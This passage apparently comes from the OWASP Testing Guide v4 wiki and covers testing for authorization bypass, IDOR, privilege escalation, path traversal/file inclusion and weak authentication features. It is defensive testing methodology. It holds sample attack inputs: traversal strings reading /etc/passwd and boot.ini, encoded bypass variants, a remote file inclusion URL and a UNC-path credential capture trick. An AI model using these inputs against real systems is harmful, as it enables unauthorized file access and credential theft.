[14] Gary McGraw, ''Beyond the Badness-ometer'' - http://www.drdobbs.com/security/beyond-the-badness-ometer/189500001

[15] FFIEC, '' Authentication in an Internet Banking Environment'' - http://www.ffiec.gov/pdf/authentication_guidance.pdf

[16] PCI Security Standards Council, ''PCI Data Security Standard'' - https://www.pcisecuritystandards.org/security_standards/index.php

[17] MSDN, ''Cheat Sheet: Web Application Security Frame'' - http://msdn.microsoft.com/en-us/library/ms978518.aspx#tmwacheatsheet_webappsecurityframe

[18] MSDN, ''Improving Web Application Security, Chapter 2, Threat And Countermeasures'' - http://msdn.microsoft.com/en-us/library/aa302418.aspx

[19] Sindre,G. Opdmal A., '' Capturing Security Requirements Through Misuse Cases ' - http://folk.uio.no/nik/2001/21-sindre.pdf

[20] Improving Security Across the Software Development Lifecycle Task Force, ''Referred Data from Caper Johns, Software Assessments, Benchmarks and Best Practices'' - http://www.criminal-justice-careers.com/resources/SDLCFULL.pdf

[21] MITRE, ''Being Explicit About Weaknesses, Slide 30, Coverage of CWE'' - http://cwe.mitre.org/documents/being-explicit/BlackHatDC_BeingExplicit_Slides.ppt

[22] Marco Morana, ''Building Security Into The Software Life Cycle, A Business Case'' - http://www.blackhat.com/presentations/bh-usa-06/bh-us-06-Morana-R3.0.pdf

Testing for Insecure Direct Object References (OTG-AUTHZ-004)

2014-08-01T20:25:47Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.
 

Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.
 

== How to Test ==
To test for this vulnerability the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a database row, a file, application pages and more. Next the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.

The best way to test for direct object references would be by having at least two (often more) users to cover different owned objects and functions. For example two users each having access to different objects (such as purchase information, private messages, etc.), and (if relevant) users with different privileges (for example administrator users) to see whether there are direct references to application functionality. By having multiple users the tester saves valuable testing time in guessing different object names as he can attempt to access objects that belong to the other user.

Below are several typical scenarios for this vulnerability and the methods to test for each: 

'''The value of a parameter is used directly to retrieve a database record'''
Sample request: <pre>http://foo.bar/somepage?invoice=12345</pre>
In this case, the value of the ''invoice'' parameter is used as an index in an invoices table in the database. The application takes the value of this parameter and uses it in a query to the database. The application then returns the invoice information to the user.

Since the value of ''invoice'' goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice object, regardless of the user to whom the invoice belongs. To test for this case the tester should obtain the identifier of an invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and then check whether it is possible to access objects without authorization.

'''The value of a parameter is used directly to perform an operation in the system'''
Sample request: <pre>http://foo.bar/changepassword?user=someuser</pre>
In this case, the value of the ''user'' parameter is used to tell the application for which user it should change the password. In many cases this step will be a part of a wizard, or a multi-step operation. In the first step the application will get a request stating for which user's password is to be changed, and in the next step the user will provide a new password (without asking for the current one).

The ''user'' parameter is used to directly reference the object of the user for whom the password change operation will be performed. To test for this case the tester should attempt to provide a different test username than the one currently logged in, and check whether it is possible to modify the password of another user.

'''The value of a parameter is used directly to retrieve a file system resource'''
Sample request: <pre>http://foo.bar/showImage?img=img00011</pre>
In this case, the value of the ''file'' parameter is used to tell the application what file the user intends to retrieve. By providing the name or identifier of a different file (for example file=image00012.jpg) the attacker will be able to retrieve objects belonging to other users.

To test for this case, the tester should obtain a reference the user is not supposed to be able to access and attempt to access it by using it as the value of ''file'' parameter. Note: This vulnerability is often exploited in conjunction with a directory/path traversal vulnerability (see [[Testing for Path Traversal]])

'''The value of a parameter is used directly to access application functionality'''
Sample request: <pre>http://foo.bar/accessPage?menuitem=12</pre>
In this case, the value of the ''menuitem'' parameter is used to tell the application which menu item (and therefore which application functionality) the user is attempting to access. Assume the user is supposed to be restricted and therefore has links available only to access to menu items 1, 2 and 3. By modifying the value of ''menuitem'' parameter it is possible to bypass authorization and access additional application functionality. To test for this case the tester identifies a location where application functionality is determined by reference to a menu item, maps the values of menu items the given test user can access, and then attempts other menu items.

In the above examples the modification of a single parameter is sufficient. However, sometimes the object reference may be split between more than one parameter, and testing should be adjusted accordingly.

== References ==
[[Top 10 2013-A4-Insecure Direct Object References]]

Testing for Privilege escalation (OTG-AUTHZ-003)

2014-08-01T20:24:52Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
This section describes the issue of escalating privileges from one stage to another. During this phase, the tester should verify that it is not possible for a user to modify his or her privileges or roles inside the application in ways that could allow privilege escalation attacks.

Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such elevation or changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator.

The degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation, because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation.

Usually, people refer to ''vertical escalation'' when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to ''horizontal escalation'' when it is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).

== How to test ==
'''Testing for role/privilege manipulation''' 
In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), can receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify if it is possible to access a function that should not be permitted by the user's role/privilege (but might be permitted as another user).

For example: 
The following HTTP POST allows the user that belongs to grp001 to access order #0001:
<pre>
POST /user/viewOrder.jsp HTTP/1.1
Host: www.example.com
...

groupID=grp001&orderID=0001
</pre>

Verify if a user that does not belong to grp001 can modify the value of the parameters ‘groupID’ and ‘orderID’ to gain access to that privileged data.

For example: 
The following server's answer shows a hidden field in the HTML returned to the user after a successful authentication.

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com
Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com
Cache-Control: no-cache
Pragma: No-cache
Content-length: 247
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close

<form name="autoriz" method="POST" action = "visual.jsp">
<input type="hidden" name="profile" value="SysAdmin">
<body onload="document.forms.autoriz.submit()">
</td>
</tr>

What if the tester modifies the value of the variable "profile" to "SysAdmin"? Is it possible to become administrator?

For example: 
In an environment where the server sends an error message contained as a value in a specific parameter in a set of answer codes, as the following:

@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notifications`0`0`3`Command Manager`0`0`0` StateToolsBar`0`0`0`
StateExecToolBar`0`0`0`FlagsToolBar`0

The server gives an implicit trust to the user. It believes that the user will answer with the above message closing the session.

In this condition, verify that it is not possible to escalate privileges by modifying the parameter values. In this particular example, by modifying the `PVValid` value from '-1' to '0' (no error conditions), it may be possible to authenticate as administrator to the server.
 

== References ==
'''Whitepapers''' 
* Wikipedia - Privilege Escalation: http://en.wikipedia.org/wiki/Privilege_escalation 

==Tools==
* OWASP WebScarab: [[OWASP WebScarab Project]]
* [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)]

Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)

2014-08-01T20:08:28Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
This kind of test focuses on verifying how the authorization schema has been implemented for each role or privilege to get access to reserved functions and resources.

For every specific role the tester holds during the assessment, for every function and request that the application executes during the post-authentication phase, it is necessary to verify:
* Is it possible to access that resource even if the user is not authenticated?
* Is it possible to access that resource after the log-out?
* Is it possible to access functions and resources that should be accessible to a user that holds a different role or privilege?

Try to access the application as an administrative user and track all the administrative functions.
* Is it possible to access administrative functions also if the tester is logged as a user with standard privileges?
* Is it possible to use these administrative functions as a user with a different role and for whom that action should be denied?

== How to test ==
'''Testing for access to administrative functions''' 
For example, suppose that the 'AddUser.jsp' function is part of the administrative menu of the application, and it is possible to access it by requesting the following URL:
https://www.example.com/admin/addUser.jsp

Then, the following HTTP request is generated when calling the AddUser function:
<pre>
POST /admin/addUser.jsp HTTP/1.1
Host: www.example.com
[other HTTP headers]

userID=fakeuser&role=3&group=grp001
</pre>

What happens if a non-administrative user tries to execute that request? Will the user be created? If so, can the new user use their privileges?

'''Testing for access to resources assigned to a different role''' 
For example analyze an application that uses a shared directory to store temporary PDF files for different users. Suppose that documentABC.pdf should be accessible only by the user test1 with roleA. Verify if user test2 with roleB can access that resource.
 

== Tools==
* OWASP WebScarab: [[OWASP WebScarab Project]] 
* [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)]

Testing Directory traversal/file include (OTG-AUTHZ-001)

2014-08-01T20:05:34Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.

Traditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users' files inside a "root directory" or "web document root", which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.

The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common /etc/passwd file on a UNIX-like platform) or to avoid the execution of system commands.

Many web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.

In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.

For the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous "%5c escape code" into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.

This kind of attack is also known as the dot-dot-slash attack (../), directory traversal, directory climbing, or backtracking.

During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:
* ('''a''') '''Input Vectors Enumeration''' (a systematic evaluation of each input vector)
* ('''b''') '''Testing Techniques''' (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)
 

==How to test==
== Black Box testing and example ==
('''a''') '''Input Vectors Enumeration''' 
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.

Here are some examples of the checks to be performed at this stage:

* Are there request parameters which could be used for file-related operations?
* Are there unusual file extensions?
* Are there interesting variable names?

<pre>
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
</pre>

* Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?

<pre>
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
</pre>
 

('''b''') '''Testing Techniques'''

The next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called ''getUserProfile.jsp'' loads static information from a file and shows the content to users. An attacker could insert the malicious string "''../../../../etc/passwd''" to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.

To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.

<pre>
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
</pre>

For the cookies example:
<pre>
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
</pre>

It's also possible to include files and scripts located on external website.
<pre>
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
</pre>

The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters.

<pre>
http://example.com/main.cgi?home=main.cgi
</pre>

The component called "''main.cgi''" is located in the same directory as the normal HTML static files used by the application.
In some cases the tester needs to encode the requests using special characters (like the "'''.'''" dot, "'''%00'''" null, ...) in order to bypass file extension controls or to prevent script execution.

Tip
It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn't successful, try another encoding scheme.

Each operating system uses different characters as path separator:

''Unix-like OS'':
<pre>
root directory: "/"
directory separator: "/"
</pre>

''Windows OS' Shell':
<pre>
root directory: "<drive letter>:\"
directory separator: "\" or "/"
</pre>

''Classic Mac OS'':
<pre>
root directory: "<drive letter>:"
directory separator: ":"
</pre>
 

We should take in to account the following character encoding mechanisms:

* URL encoding and double URL encoding

<pre>
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
</pre>

* Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)

<pre>
..%c0%af represents ../
..%c1%9c represents ..\
</pre>
 

There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.

* ''Windows shell'': Appending any of the following to paths used in a shell command results in no difference in function:
** Angle brackets ">" and "<" at the end of the path
** Double quotes (closed properly) at the end of the path
** Extraneous current directory markers such as "./" or ".\"
** Extraneous parent directory markers with arbitrary items that may or may not exist
*: Examples: 

<pre>
– file.txt
– file.txt...
– file.txt<spaces>
– file.txt””””
– file.txt<<<>>><
– ./././file.txt
– nonexistant/../file.txt
</pre>

* ''Windows API'': The following items are discarded when used in any shell command or API call where a string is taken as a filename: 
<pre>
periods
spaces
</pre>

* ''Windows UNC Filepaths'': Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server. 
<pre>
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc
</pre>

* ''Windows NT Device Namespace'': Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.
** May be equivalent to a drive letter such as c:\, or even a drive volume without an assigned letter. <pre>\\.\GLOBALROOT\Device\HarddiskVolume1\</pre>
** Refers to the first disc drive on the machine. <pre>\\.\CdRom0\</pre>

== Gray Box testing and example ==
When the analysis is performed with a Gray Box approach, testers have to follow the same methodology as in Black Box Testing. However, since they can review the source code, it is possible to search the input vectors (''stage ('''a''') of the testing'') more easily and accurately. During a source code review, they can use simple tools (such as the ''grep'' command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.

<pre>
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...
</pre>

Using online code search engines (e.g., Ohloh Code[http://code.ohloh.net/]), it may also be possible to find path traversal flaws in Open Source software published on the Internet.

For PHP, testers can use:
<pre>
lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
</pre>
 

Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.

Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe" but are not in reality.

Additionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.

Consider a web application with these instructions:
<pre>
filename = Request.QueryString(“file”);
Replace(filename, “/”,”\”);
Replace(filename, “..\”,””);
</pre>

Testing for the flaw is achieved by:
<pre>
file=....//....//boot.ini
file=....\\....\\boot.ini
file= ..\..\boot.ini
</pre>
 

== References ==
'''Whitepapers'''
* phpBB Attachment Mod Directory Traversal HTTP POST Injection - http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html[http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html]
* Windows File Pseudonyms: Pwnage and Poetry - http://www.slideshare.net/BaronZor/windows-file-pseudonyms[http://www.slideshare.net/BaronZor/windows-file-pseudonyms]
 

==Tools==
* DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net
* Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt
* Web Proxy (''Burp Suite''[http://portswigger.net], ''Paros''[http://www.parosproxy.org/index.shtml], ''WebScarab''[http://www.owasp.org/index.php/OWASP_WebScarab_Project],''OWASP: Zed Attack Proxy (ZAP)''[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project])
* Enconding/Decoding tools
* String searcher "grep" - http://www.gnu.org/software/grep/

Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)

2014-08-01T19:55:19Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary==

Even if the primary authentication mechanisms do not include any vulnerabilities, it may be that vulnerabilities exist in alternative legitimate authentication user channels for the same user accounts. Tests should be undertaken to identify alternative channels and, subject to test scoping, identify vulnerabilities.

The alternative user interaction channels could be utilized to circumvent the primary channel, or expose information that can then be used to assist an attack against the primary channel. Some of these channels may themselves be separate web applications using different host names or paths. For example:

* Standard website
* Mobile, or specific device, optimized website
* Accessibility optimized website
* Alternative country and language websites
* Parallel websites that utilize the same user accounts (e.g. another website offering different functionally of the same organization, a partner website with which user accounts are shared)
* Development, test, UAT and staging versions of the standard website

But they could also be other types of application or business processes:

* Mobile device app
* Desktop application
* Call center operators
* Interactive voice response or phone tree systems

Note that the focus of this test is on alternative channels; some authentication alternatives might appear as different content delivered via the same website and would almost certainly be in scope for testing. These are not discussed further here, and should have been identified during information gathering and primary authentication testing. For example:

* Progressive enrichment and graceful degradation that change functionality
* Site use without cookies
* Site use without JavaScript
* Site use without plugins such as for Flash and Java

Even if the scope of the test does not allow the alternative channels to be tested, their existence should be documented. These may undermine the degree of assurance in the authentication mechanisms and may be a precursor to additional testing.

== Example ==

The primary website is:

http://www.example.com

and authentication functions always take place on pages using Transport Layer Security:

https://www.example.com/myaccount/

However, a separate mobile-optimized website exists that does not use Transport Layer Security at all, and has a weaker password recovery mechanism:

http://m.example.com/myaccount/

==How to Test ==

=== Understand the primary mechanism ===

Fully test the website's primary authentication functions. This should identify how accounts are issued, created or changed and how passwords are recovered, reset, or changed. Additionally knowledge of any elevated privilege authentication and authentication protection measures should be known. These precursors are necessary to be able to compare with any alternative channels.

=== Identify other channels ===

Other channels can be found by using the following methods:

* Reading site content, especially the home page, contact us, help pages, support articles and FAQs, T&Cs, privacy notices, the robots.txt file and any sitemap.xml files.
* Searching HTTP proxy logs, recorded during previous information gathering and testing, for strings such as "mobile", "android", blackberry", "ipad", "iphone", "mobile app", "e-reader", "wireless", "auth", "sso", "single sign on" in URL paths and body content.
* Use search engines to find different websites from the same organization, or using the same domain name, that have similar home page content or which also have authentication mechanisms.

For each possible channel confirm whether user accounts are shared across these, or provide access to the same or similar functionality.

=== Enumerate authentication functionality ===

For each alternative channel where user accounts or functionality are shared, identify if all the authentication functions of the primary channel are available, and if anything extra exists. It may be useful to create a grid like the one below:

{| border="1" cellpadding="2" cellspacing="0"
!width="150"|Primary
!width="150"|Mobile
!width="150"|Call Center
!width="150"|Partner Website
|-
| Register
| Yes
| -
| -
|-
| Log in
| Yes
| Yes
| Yes (SSO)
|-
| Log out
| -
| -
| -
|-
| Password reset
| Yes
| Yes
| -
|-
| -
| Change password
| -
| -
|-
|}

In this example, mobile has an extra function "change password" but does not offer "log out". A limited number of tasks are also possible by phoning the call center. Call centers can be interesting, because their identity confirmation checks might be weaker than the website's, allowing this channel to be used to aid an attack against a user's account.

While enumerating these it is worth taking note of how session management is undertaken, in case there is overlap across any channels (e.g. cookies scoped to the same parent domain name, concurrent sessions allowed across channels, but not on the same channel).

=== Review and test ===

Alternative channels should be mentioned in the testing report, even if they are marked as "information only" and/or "out of scope". In some cases the test scope might include the alternative channel (e.g. because it is just another path on the target host name), or may be added to the scope after discussion with the owners of all the channels. If testing is permitted and authorized, all the other authentication tests in this guide should then be performed, and compared against the primary channel.

== Related Test Cases ==

The test cases for all the other authentication tests should be utilized.

== Remediation ==

Ensure a consistent authentication policy is applied across all channels so that they are equally secure.

Testing for weak password change or reset functionalities (OTG-AUTHN-009)

2014-08-01T19:53:55Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

The password change and reset function of an application is a self-service password change or reset mechanism for users. This self-service mechanism allows users to quickly change or reset their password without an administrator intervening. When passwords are changed they are typically changed within the application. When passwords are reset they are either rendered within the application or emailed to the user. This may indicate that the passwords are stored in plain text or in a decryptable format.

== Test objectives ==

#Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account.
#Determine the resistance of the passwords reset functionality against guessing or bypassing.

== How to Test ==

For both password change and password reset it is important to check:
# if users, other than administrators, can change or reset passwords for accounts other than their own.
# if users can manipulate or subvert the password change or reset process to change or reset the password of another user or administrator.
# if the password change or reset process is vulnerable to [[Testing_for_CSRF_(OWASP-SM-005)|CSRF]].

=== Test Password Reset ===

In addition to the previous checks it is important to verify the following:

* What information is required to reset the password?
The first step is to check whether secret questions are required. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the application needs a high level of security. 
On the other hand, if secret questions are used, the next step is to assess their strength. This specific test is discussed in detail in the [[Testing_for_Weak_security_question/answer_(OTG-AUTHN-008)|Testing for Weak security question/answer]] paragraph of this guide.
 
* How are reset passwords communicated to the user?
The most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last log in the victim would not know that their account has been compromised. 
A less insecure scenario is if the password reset tool forces the user to immediately change their password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out. 
The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application show this information) but also to compromise that email account in order to obtain the temporary password or the password reset link.
 
* Are reset passwords generated randomly?
The most insecure scenario here is if the application sends or visualizes the old password in clear text because this means that passwords are not stored in a hashed form, which is a security issue in itself. 
The best security is achieved if passwords are randomly generated with a secure algorithm that cannot be derived.
 
* Is the reset password functionality requesting confirmation before changing the password?
To limit denial-of-service attacks the application should email a link to the user with a random token, and only if the user visits the link then the reset procedure is completed. This ensures that the current password will still be valid until the reset has been confirmed.
 

=== Test Password Change ===

In addition to the previous test it is important to verify:

* Is the old password requested to complete the change?
The most insecure scenario here is if the application permits the change of the password without requesting the current password. Indeed if an attacker is able to take control of a valid session they could easily change the victim's password. 

See also [[Testing_for_Weak_password_policy_(OWASP-AT-008)|Testing for Weak password policy]] paragraph of this guide.

== References ==

* [[Forgot_Password_Cheat_Sheet|OWASP Forgot Password Cheat Sheet]]
* [[OWASP_Periodic_Table_of_Vulnerabilities_-_Insufficient_Password_Recovery|OWASP Periodic Table of Vulnerabilities - Insufficient Password Recovery]]

== Remediation ==

The password change or reset function is a sensitive function and requires some form of protection, such as requiring users to re-authenticate or presenting the user with confirmation screens during the process.

Testing for Weak security question/answer (OTG-AUTHN-008)

2014-08-01T19:52:58Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
Often called "secret" questions and answers, security questions and answers are often used to recover forgotten passwords (see [[Testing for weak password change or reset functionalities (OWASP-AT-011)]]), or as extra security on top of the password.
 
 
They are typically generated upon account creation and require the user to select from some pre-generated questions and supply an appropriate answer. They may allow the user to generate their own question and answer pairs. Both methods are prone to insecurities.Ideally, security questions should generate answers that are only known by the user, and not guessable or discoverable by anybody else. This is harder than it sounds.
 

Security questions and answers rely on the secrecy of the answer. Questions and answers should be chosen so that the answers are only known by the account holder. However, although a lot of answers may not be publicly known, most of the questions that websites implement promote answers that are pseudo-private.
 
'''Pre-generated questions:'''
 
The majority of pre-generated questions are fairly simplistic in nature and can lead to insecure answers. For example:
* The answers may be known to family members or close friends of the user, e.g. "What is your mother's maiden name?", "What is your date of birth?"
* The answers may be easily guessable, e.g. "What is your favorite color?", "What is your favorite baseball team?"
* The answers may be brute forcible, e.g. "What is the first name of your favorite high school teacher?" - the answer is probably on some easily downloadable lists of popular first names, and therefore a simple brute force attack can be scripted.
* The answers may be publicly discoverable, e.g. "What is your favorite movie?" - the answer may easily be found on the user's social media profile page.
 

'''Self-generated questions:'''
 
The problem with having users to generate their own questions is that it allows them to generate very insecure questions, or even bypass the whole point of having a security question in the first place. Here are some real world examples that illustrate this point:
 
* "What is 1+1?"
* "What is your username?"
* "My password is M3@t$p1N"

 
== How to Test ==
'''Testing for weak pre-generated questions:'''
 
Try to obtain a list of security questions by creating a new account or by following the “I don’t remember my password”-process. Try to generate as many questions as possible to get a good idea of the type of security questions that are asked. If any of the security questions fall in the categories described above, they are vulnerable to being attacked (guessed, brute-forced, available on social media, etc.).
 
'''Testing for weak self-generated questions:'''
 
Try to create security questions by creating a new account or by configuring your existing account’s password recovery properties. If the system allows the user to generate their own security questions, it is vulnerable to having insecure questions created. If the system uses the self-generated security questions during the forgotten password functionality and if usernames can be enumerated (see [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]), then it should be easy for the tester to enumerate a number of self-generated questions. It should be expected to find several weak self-generated questions using this method.
 
'''Testing for brute-forcible answers:'''
 
Use the methods described in [[Testing for Weak lock out mechanism (OWASP-AT-004)]] to determine if a number of incorrectly supplied security answers trigger a lockout mechanism.
 
The first thing to take into consideration when trying to exploit security questions is the number of questions that need to be answered. The majority of applications only need the user to answer a single question, whereas some critical applications may require the user to answer two or even more questions.
 
 
The next step is to assess the strength of the security questions. Could the answers be obtained by a simple Google search or with social engineering attack? As a penetration tester, here is a step-by-step walk-through of exploiting a security question scheme:
 
* Does the application allow the end-user to choose the question that needs to be answered? If so, focus on questions which have:
** A “public” answer; for example, something that could be find with a simple search-engine query.
** A factual answer such as a “first school” or other facts which can be looked up.
** Few possible answers, such as “what model was your first car”. These questions would present the attacker with a short list of possible answers, and based on statistics the attacker could rank answers from most to least likely.
* Determine how many guesses you have if possible.
** Does the password reset allow unlimited attempts?
** Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against legitimate users.
* Pick the appropriate question based on analysis from the above points, and do research to determine the most likely answers.
 

The key to successfully exploiting and bypassing a weak security question scheme is to find a question or set of questions which give the possibility of easily finding the answers. Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers. In the end, a security question scheme is only as strong as the weakest question.
 
== References ==
[http://www.schneier.com/essay-081.html The Curse of the Secret Question]

Testing for Weak password policy (OTG-AUTHN-007)

2014-08-01T19:50:54Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

The most prevalent and most easily administered authentication mechanism is a static password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty.

== Test objectives ==

Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.

== How to Test==

# What characters are permitted and forbidden for use within a password? Is the user required to use characters from different character sets such as lower and uppercase letters, digits and special symbols?
# How often can a user change their password? How quickly can a user change their password after a previous change? Users may bypass password history requirements by changing their password 5 times in a row so that after the last password change they have configured their initial password again.
# When must a user change their password? After 90 days? After account lockout due to excessive log on attempts?
# How often can a user reuse a password? Does the application maintain a history of the user's previous used 8 passwords?
# How different must the next password be from the last password?
# Is the user prevented from using his username or other account information (such as first or last name) in the password?

== References ==

* [https://www.owasp.org/index.php/Brute_force_attack Brute Force Attacks]
* [https://www.owasp.org/index.php/Password_length_%26_complexity Password length & complexity]

== Remediation ==

To mitigate the risk of easily guessed passwords facilitating unauthorized access there are two solutions: introduce additional authentication controls (i.e. two-factor authentication) or introduce a strong password policy. The simplest and cheapest of these is the introduction of a strong password policy that ensures password length, complexity, reuse and aging.

Testing for Browser cache weakness (OTG-AUTHN-006)

2014-08-01T19:47:21Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
In this phase the tester checks that the application correctly instructs the browser to not remember sensitive data.

Browsers can store information for purposes of caching and history. Caching is used to improve performance, so that previously displayed information doesn't need to be downloaded again. History mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the resource was retrieved. If sensitive information is displayed to the user (such as their address, credit card details, Social Security Number, or username), then this information could be stored for purposes of caching or history, and therefore retrievable through examining the browser's cache or by simply pressing the browser's "Back" button.
 

== How to Test ==

'''Browser History''' 

Technically, the "Back" button is a history and not a cache (see http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13). The cache and the history are two different entities. However, they share the same weakness of presenting previously displayed sensitive information.

The first and simplest test consists of entering sensitive information into the application and logging out. Then the tester clicks the "Back" button of the browser to check whether previously displayed sensitive information can be accessed whilst unauthenticated.

